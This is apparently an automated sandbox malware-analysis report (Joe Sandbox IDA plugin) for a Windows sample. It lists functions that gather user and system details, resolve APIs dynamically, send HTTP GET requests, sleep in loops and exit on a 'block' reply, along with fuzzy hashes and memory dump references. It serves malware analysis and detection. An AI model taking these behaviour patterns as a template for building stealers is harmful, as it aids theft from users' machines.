Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: d65c674f79adec8a3eb0ad96438dc7edf27b6f80b7edac237a56a7b9364829cf
Instruction ID: f0773870aa1541f0f452216edb748a72dd0e89211326913ad982376b9aaceb80
Opcode Fuzzy Hash: d65c674f79adec8a3eb0ad96438dc7edf27b6f80b7edac237a56a7b9364829cf
Instruction Fuzzy Hash: DA0186B1A08204EFC710DF94DD46BABFBB8F749B21F10425AF985F7280C37569008BA1

Function 00EA7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E911B7), ref: 00EA7880
RtlAllocateHeap.NTDLL(00000000), ref: 00EA7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EA789F

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 9f5bd94169db22e2e04ea040602c6846214203d8b6130fb209e8048ae870fddd
Instruction ID: 86a29a09595ac7911e40f551562e0298b514af44f89bc7e7db6a0a8a780e9332
Opcode Fuzzy Hash: 9f5bd94169db22e2e04ea040602c6846214203d8b6130fb209e8048ae870fddd
Instruction Fuzzy Hash: 2EF044B1E44208EBC714DF94DD46BAEBBB8F709711F100159FA45A3680C77915048BA1

Function 00E91160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00E9116A
ExitProcess.KERNEL32 ref: 00E9117E

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 25aeda6ed038e8dbca35aa517c9bef7823cac9e96a5ccc534d45f2976a1218d6
Instruction ID: 221206a858cbde7506360e9a1e6edd4f68e64714b72dcd616f6ea9289d621d05
Opcode Fuzzy Hash: 25aeda6ed038e8dbca35aa517c9bef7823cac9e96a5ccc534d45f2976a1218d6
Instruction Fuzzy Hash: 27D05E74A0130CDBCB10DFE0D8496DDBB78FB08312F001594DD0673340EA315481CBA5

Function 00EA9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00BA5328), ref: 00EA9C2D
GetProcAddress.KERNEL32(76210000,00BA52A8), ref: 00EA9C45
GetProcAddress.KERNEL32(76210000,00BB8FF8), ref: 00EA9C5E
GetProcAddress.KERNEL32(76210000,00BB8FC8), ref: 00EA9C76
GetProcAddress.KERNEL32(76210000,00BB9010), ref: 00EA9C8E
GetProcAddress.KERNEL32(76210000,00BBD820), ref: 00EA9CA7
GetProcAddress.KERNEL32(76210000,00BAA860), ref: 00EA9CBF
GetProcAddress.KERNEL32(76210000,00BBD8E0), ref: 00EA9CD7
GetProcAddress.KERNEL32(76210000,00BBD9B8), ref: 00EA9CF0
GetProcAddress.KERNEL32(76210000,00BBD928), ref: 00EA9D08
GetProcAddress.KERNEL32(76210000,00BBD7D8), ref: 00EA9D20
GetProcAddress.KERNEL32(76210000,00BA4FA8), ref: 00EA9D39
GetProcAddress.KERNEL32(76210000,00BA5048), ref: 00EA9D51
GetProcAddress.KERNEL32(76210000,00BA5168), ref: 00EA9D69
GetProcAddress.KERNEL32(76210000,00BA50A8), ref: 00EA9D82
GetProcAddress.KERNEL32(76210000,00BBDA60), ref: 00EA9D9A
GetProcAddress.KERNEL32(76210000,00BBD970), ref: 00EA9DB2
GetProcAddress.KERNEL32(76210000,00BAA450), ref: 00EA9DCB
GetProcAddress.KERNEL32(76210000,00BA51A8), ref: 00EA9DE3
GetProcAddress.KERNEL32(76210000,00BBD9A0), ref: 00EA9DFB
GetProcAddress.KERNEL32(76210000,00BBD850), ref: 00EA9E14
GetProcAddress.KERNEL32(76210000,00BBD940), ref: 00EA9E2C
GetProcAddress.KERNEL32(76210000,00BBD9D0), ref: 00EA9E44
GetProcAddress.KERNEL32(76210000,00BA5228), ref: 00EA9E5D
GetProcAddress.KERNEL32(76210000,00BBD910), ref: 00EA9E75
GetProcAddress.KERNEL32(76210000,00BBD958), ref: 00EA9E8D
GetProcAddress.KERNEL32(76210000,00BBD988), ref: 00EA9EA6
GetProcAddress.KERNEL32(76210000,00BBDA48), ref: 00EA9EBE
GetProcAddress.KERNEL32(76210000,00BBD9E8), ref: 00EA9ED6
GetProcAddress.KERNEL32(76210000,00BBDA00), ref: 00EA9EEF
GetProcAddress.KERNEL32(76210000,00BBD8F8), ref: 00EA9F07
GetProcAddress.KERNEL32(76210000,00BBD8C8), ref: 00EA9F1F
GetProcAddress.KERNEL32(76210000,00BBDA78), ref: 00EA9F38
GetProcAddress.KERNEL32(76210000,00BAFDA8), ref: 00EA9F50
GetProcAddress.KERNEL32(76210000,00BBD838), ref: 00EA9F68
GetProcAddress.KERNEL32(76210000,00BBDA18), ref: 00EA9F81
GetProcAddress.KERNEL32(76210000,00BA50E8), ref: 00EA9F99
GetProcAddress.KERNEL32(76210000,00BBDA30), ref: 00EA9FB1
GetProcAddress.KERNEL32(76210000,00BA4F48), ref: 00EA9FCA
GetProcAddress.KERNEL32(76210000,00BBD7C0), ref: 00EA9FE2
GetProcAddress.KERNEL32(76210000,00BBDA90), ref: 00EA9FFA
GetProcAddress.KERNEL32(76210000,00BA4FC8), ref: 00EAA013
GetProcAddress.KERNEL32(76210000,00BA51E8), ref: 00EAA02B
LoadLibraryA.KERNEL32(00BBD868,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA03D
LoadLibraryA.KERNEL32(00BBDAA8,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA04E
LoadLibraryA.KERNEL32(00BBD880,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA060
LoadLibraryA.KERNEL32(00BBD7F0,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA072
LoadLibraryA.KERNEL32(00BBD808,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA083
LoadLibraryA.KERNEL32(00BBD898,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA095
LoadLibraryA.KERNEL32(00BBD8B0,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA0A7
LoadLibraryA.KERNEL32(00BBDCA0,?,00EA5CA3,00EB0AEB,?,?,?,?,?,?,?,?,?,?,00EB0AEA,00EB0AE3), ref: 00EAA0B8
GetProcAddress.KERNEL32(751E0000,00BA50C8), ref: 00EAA0DA
GetProcAddress.KERNEL32(751E0000,00BBDCB8), ref: 00EAA0F2
GetProcAddress.KERNEL32(751E0000,00BB8C48), ref: 00EAA10A
GetProcAddress.KERNEL32(751E0000,00BBDB38), ref: 00EAA123
GetProcAddress.KERNEL32(751E0000,00BA5248), ref: 00EAA13B
GetProcAddress.KERNEL32(700F0000,00BAA5E0), ref: 00EAA160
GetProcAddress.KERNEL32(700F0000,00BA5348), ref: 00EAA179
GetProcAddress.KERNEL32(700F0000,00BAA608), ref: 00EAA191
GetProcAddress.KERNEL32(700F0000,00BBDC58), ref: 00EAA1A9
GetProcAddress.KERNEL32(700F0000,00BBDC70), ref: 00EAA1C2
GetProcAddress.KERNEL32(700F0000,00BA5528), ref: 00EAA1DA
GetProcAddress.KERNEL32(700F0000,00BA5388), ref: 00EAA1F2
GetProcAddress.KERNEL32(700F0000,00BBDCE8), ref: 00EAA20B
GetProcAddress.KERNEL32(753A0000,00BA5668), ref: 00EAA22C
GetProcAddress.KERNEL32(753A0000,00BA5548), ref: 00EAA244
GetProcAddress.KERNEL32(753A0000,00BBDB68), ref: 00EAA25D
GetProcAddress.KERNEL32(753A0000,00BBDB20), ref: 00EAA275
GetProcAddress.KERNEL32(753A0000,00BA54C8), ref: 00EAA28D
GetProcAddress.KERNEL32(76310000,00BAA8D8), ref: 00EAA2B3
GetProcAddress.KERNEL32(76310000,00BAA748), ref: 00EAA2CB
GetProcAddress.KERNEL32(76310000,00BBDDA8), ref: 00EAA2E3
GetProcAddress.KERNEL32(76310000,00BA56A8), ref: 00EAA2FC
GetProcAddress.KERNEL32(76310000,00BA5688), ref: 00EAA314
GetProcAddress.KERNEL32(76310000,00BAA680), ref: 00EAA32C
GetProcAddress.KERNEL32(76910000,00BBDD78), ref: 00EAA352
GetProcAddress.KERNEL32(76910000,00BA5448), ref: 00EAA36A
GetProcAddress.KERNEL32(76910000,00BB8BD8), ref: 00EAA382
GetProcAddress.KERNEL32(76910000,00BBDAD8), ref: 00EAA39B
GetProcAddress.KERNEL32(76910000,00BBDC88), ref: 00EAA3B3
GetProcAddress.KERNEL32(76910000,00BA56C8), ref: 00EAA3CB
GetProcAddress.KERNEL32(76910000,00BA54A8), ref: 00EAA3E4
GetProcAddress.KERNEL32(76910000,00BBDAF0), ref: 00EAA3FC
GetProcAddress.KERNEL32(76910000,00BBDB08), ref: 00EAA414
GetProcAddress.KERNEL32(75B30000,00BA5628), ref: 00EAA436
GetProcAddress.KERNEL32(75B30000,00BBDBC8), ref: 00EAA44E
GetProcAddress.KERNEL32(75B30000,00BBDB80), ref: 00EAA466
GetProcAddress.KERNEL32(75B30000,00BBDAC0), ref: 00EAA47F
GetProcAddress.KERNEL32(75B30000,00BBDB50), ref: 00EAA497
GetProcAddress.KERNEL32(75670000,00BA5468), ref: 00EAA4B8
GetProcAddress.KERNEL32(75670000,00BA56E8), ref: 00EAA4D1
GetProcAddress.KERNEL32(76AC0000,00BA5408), ref: 00EAA4F2
GetProcAddress.KERNEL32(76AC0000,00BBDD90), ref: 00EAA50A
GetProcAddress.KERNEL32(6F4E0000,00BA54E8), ref: 00EAA530
GetProcAddress.KERNEL32(6F4E0000,00BA5368), ref: 00EAA548
GetProcAddress.KERNEL32(6F4E0000,00BA53A8), ref: 00EAA560
GetProcAddress.KERNEL32(6F4E0000,00BBDB98), ref: 00EAA579
GetProcAddress.KERNEL32(6F4E0000,00BA53C8), ref: 00EAA591
GetProcAddress.KERNEL32(6F4E0000,00BA53E8), ref: 00EAA5A9
GetProcAddress.KERNEL32(6F4E0000,00BA5428), ref: 00EAA5C2
GetProcAddress.KERNEL32(6F4E0000,00BA5648), ref: 00EAA5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00EAA5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00EAA607
GetProcAddress.KERNEL32(75AE0000,00BBDBE0), ref: 00EAA629
GetProcAddress.KERNEL32(75AE0000,00BB8AC8), ref: 00EAA641
GetProcAddress.KERNEL32(75AE0000,00BBDBB0), ref: 00EAA659
GetProcAddress.KERNEL32(75AE0000,00BBDC28), ref: 00EAA672
GetProcAddress.KERNEL32(76300000,00BA5488), ref: 00EAA693
GetProcAddress.KERNEL32(6FE40000,00BBDBF8), ref: 00EAA6B4
GetProcAddress.KERNEL32(6FE40000,00BA5568), ref: 00EAA6CD
GetProcAddress.KERNEL32(6FE40000,00BBDCD0), ref: 00EAA6E5
GetProcAddress.KERNEL32(6FE40000,00BBDD00), ref: 00EAA6FD

Strings

HttpQueryInfoA, xrefs: 00EAA5FC
InternetSetOptionA, xrefs: 00EAA5E5

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: e5cc3428da31f3beb7b543f9ec5b5399ab09005dc6aabba309ed9de79c2aa0ac
Instruction ID: 1fdfcc2bd6c7ab058a4be5126a5b8bb3d3288981c5935ce40cca0e2ece980dc1
Opcode Fuzzy Hash: e5cc3428da31f3beb7b543f9ec5b5399ab09005dc6aabba309ed9de79c2aa0ac
Instruction Fuzzy Hash: 8B622BB5702241EFC764DFA8E98996637F9F78C201315855ABE8AC324CDB3F9541DB20

Function 00E96280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E94839
Part of subcall function 00E947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E94849

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

InternetOpenA.WININET(00EB0DFE,00000001,00000000,00000000,00000000), ref: 00E962E1
StrCmpCA.SHLWAPI(?,00BBFCF0), ref: 00E96303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E96335
HttpOpenRequestA.WININET(00000000,GET,?,00BBF278,00000000,00000000,00400100,00000000), ref: 00E96385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E963BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E963D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00E963FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E9646D
InternetCloseHandle.WININET(00000000), ref: 00E964EF
InternetCloseHandle.WININET(00000000), ref: 00E964F9
InternetCloseHandle.WININET(00000000), ref: 00E96503

Strings

GET, xrefs: 00E9637C
ERROR, xrefs: 00E964C9
ERROR, xrefs: 00E96407

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5b8ad47edbaa1bb09ec94ed43d464cbb54b754340800319e4d1bf97b434d16f6
Instruction ID: bf2fa369a91cef15860e924f3903c2e6533233c6a648635de72809cbc76b3168
Opcode Fuzzy Hash: 5b8ad47edbaa1bb09ec94ed43d464cbb54b754340800319e4d1bf97b434d16f6
Instruction Fuzzy Hash: 12713B71A00318EBDF24DBA0DC49BEE77B4BB48700F1091A9F50A7B184DBB96A85CF51

Function 00EA5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EAA820: lstrlen.KERNEL32(00E94F05,?,?,00E94F05,00EB0DDE), ref: 00EAA82B
Part of subcall function 00EAA820: lstrcpy.KERNEL32(00EB0DDE,00000000), ref: 00EAA885

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EA5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EA56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EA5857

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00EA51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EA5228

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EA52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EA5318
Part of subcall function 00EA52C0: lstrlen.KERNEL32(00000000), ref: 00EA532F
Part of subcall function 00EA52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00EA5364
Part of subcall function 00EA52C0: lstrlen.KERNEL32(00000000), ref: 00EA5383
Part of subcall function 00EA52C0: lstrlen.KERNEL32(00000000), ref: 00EA53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EA578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EA5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EA5A0C
Sleep.KERNEL32(0000EA60), ref: 00EA5A1B

Strings

ERROR, xrefs: 00EA5849
ERROR, xrefs: 00EA5932
ERROR, xrefs: 00EA59FE
ERROR, xrefs: 00EA577D
ERROR, xrefs: 00EA5636
ERROR, xrefs: 00EA5693

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: d514c10238f277c2d9eb36fcd0c67bdda31fda32d2b3d1966cc3d05fc805f922
Instruction ID: 3cdbdf0de43e912afe9ebe545b68256d55af534f1f0a94a9174d5e107e36fa0e
Opcode Fuzzy Hash: d514c10238f277c2d9eb36fcd0c67bdda31fda32d2b3d1966cc3d05fc805f922
Instruction Fuzzy Hash: C3E155729102049BCB58FBA0DC56AFE73B8AF59300F549568B4077B095EF397B09CB92

Function 00EA17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00EA17C5
ExitProcess.KERNEL32 ref: 00EA17D1

Strings

block, xrefs: 00EA17B7

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 65bf40b68995427a3e16a2aaa55a4fc89fb28c7b5282902b93e03feef96c2833
Instruction ID: b602c2985fddedd208355e270cc5b8f4ce872af566f11e20a886a13bf5a32072
Opcode Fuzzy Hash: 65bf40b68995427a3e16a2aaa55a4fc89fb28c7b5282902b93e03feef96c2833
Instruction Fuzzy Hash: 255134B4B04209EBCB14DFA0D955AFF77B5AF89704F10A098E806BB280D775F941CB62

Function 00EA7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00EA7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EA757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA7603
RtlAllocateHeap.NTDLL(00000000), ref: 00EA760A
wsprintfA.USER32 ref: 00EA7640

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Strings

:, xrefs: 00EA755C
, xrefs: 00EA764D, 00EA7655, 00EA761B, 00EA7623
C, xrefs: 00EA754C
\, xrefs: 00EA7560

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
